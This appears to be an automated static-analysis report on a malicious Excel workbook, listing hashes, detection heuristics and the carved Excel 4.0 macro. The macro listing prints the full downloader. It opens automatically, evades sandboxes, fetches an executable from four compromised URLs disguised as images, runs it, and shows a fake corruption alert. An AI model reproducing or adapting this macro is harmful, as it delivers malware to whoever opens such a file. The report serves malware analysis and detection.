Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cb1e9d01ec170bb7…

MALICIOUS

Office (OLE)

111.0 KB Created: 2020-02-27 10:23:09 Authoring application: Microsoft Excel First seen: 2020-05-14
MD5: e92d11ca721704323a3f680bb42eeeab SHA-1: 4c19d6e5057a4fe1dccaa5f317d3d12015bdbef8 SHA-256: cb1e9d01ec170bb786e0478b03ce55a5710e5d84e095f6b42c5c9fcec9017d6b
262 Risk Score

Heuristics 6

  • ClamAV: Xls.Downloader.Abracadabra-f87353785a988c8e-9950319-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Abracadabra-f87353785a988c8e-9950319-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://murreeweather.com/wp-content/white/444444.png In document text (OLE body)
    • http://batilservice.xyz/wp-content/uploads/2020/02/white/444444.pngIn document text (OLE body)
    • http://tubolso.cl/wp-content/uploads/2020/02/white/444444.pngIn document text (OLE body)
    • http://freespacemarketing.com/wp-content/uploads/2020/02/white/444444.pngIn document text (OLE body)
    • http://batilservice.xyz/wp-content/uploads/2020/02/whiteIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2240 bytes
SHA-256: 7b2c6920208f20d384010fde5d78b2f57d208c49fde5a032b14b905e61ff98c1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  kAsn9nlrO
' 0018     31 LABEL : Cell Value, String Constant - asdfafwef len=7 ptgRef3d  kAsn9nlrO!F23 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  kAsn9nlrO!A1 
' 0018     28 LABEL : Cell Value, String Constant - rewtrt len=7 ptgRef3d  kAsn9nlrO!F25 
' 0018     29 LABEL : Cell Value, String Constant - rwth54h len=7 ptgRef3d  kAsn9nlrO!O17 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  kAsn9nlrO,A1,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))",""
'  kAsn9nlrO,A2,GET.WORKSPACE(13),""
'  kAsn9nlrO,A3,GET.WORKSPACE(14),""
'  kAsn9nlrO,A4,"IF(A2<770,CLOSE(FALSE),)",""
'  kAsn9nlrO,A5,"IF(A3<380,CLOSE(FALSE),)",""
'  kAsn9nlrO,A6,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))",""
'  kAsn9nlrO,A7,"CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://murreeweather.com/wp-content/white/444444.png","c:\Users\Public\jkqnrlvkrq.exe",0,0)",""
'  kAsn9nlrO,A8,"IF(A7<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://batilservice.xyz/wp-content/uploads/2020/02/white/444444.png","c:\Users\Public\jkqnrlvkrq.exe",0,0),GOTO(A12))",""
'  kAsn9nlrO,A9,"IF(A8<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://tubolso.cl/wp-content/uploads/2020/02/white/444444.png","c:\Users\Public\jkqnrlvkrq.exe",0,0),GOTO(A12))",""
'  kAsn9nlrO,A10,"IF(A9<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://freespacemarketing.com/wp-content/uploads/2020/02/white/444444.png","c:\Users\Public\jkqnrlvkrq.exe",0,0),GOTO(A12))",""
'  kAsn9nlrO,A11,"IF(A10<0,CLOSE(FALSE),)",""
'  kAsn9nlrO,A12,"ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.",2)",""
'  kAsn9nlrO,A13,EXEC("c:\Users\Public\jkqnrlvkrq.exe"),""
'  kAsn9nlrO,A14,CLOSE(FALSE),""
'  kAsn9nlrO,D14,"WORKBOOK.HIDE("kAsn9nlrOU",TRUE)",""
'  kAsn9nlrO,A15,RETURN(),""

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